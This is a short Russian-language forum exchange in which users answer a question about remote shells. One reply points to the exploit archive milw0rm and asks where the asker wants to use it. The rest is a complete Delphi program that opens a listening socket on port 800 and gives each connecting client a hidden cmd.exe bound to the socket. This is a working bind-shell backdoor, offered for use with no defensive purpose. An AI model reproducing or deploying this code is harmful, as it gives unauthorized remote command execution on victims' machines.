наверное, человек имеет ввиду удаленный шелл? используй пайпы для получения/передачи инфромации из/в cmd.exe. ну а с сокетами, думаю, разберешься
kas заходи на milw0rm.com и там литературы с исходниками по твоему вопросу до фига. а где ты это хочешь эксплуатировать?
Код (Text): var WSAData: TWSAData; FSocket: integer; SockAddrIn: TSockAddrIn; sHandle: dword; St: TStartupInfo; Pr: TProcessInformation; begin WSAStartup($202, WSAData); FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0); SockAddrIn.sin_family := AF_INET; SockAddrIn.sin_port := htons(800); bind(FSocket, SockAddrIn, 16); listen(FSocket, 0); while true do begin sHandle := accept(FSocket, nil, 0); if sHandle <> INVALID_SOCKET then begin ZeroMemory(@St, SizeOf(TStartupInfo)); St.cb := SizeOf(TStartupInfo); St.wShowWindow := SW_HIDE; St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW; St.hStdInput := sHandle; St.hStdOutput := sHandle; St.hStdError := sHandle; CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, St, Pr); CloseHandle(sHandle); CloseHandle(Pr.hProcess); CloseHandle(Pr.hThread); end; end; end.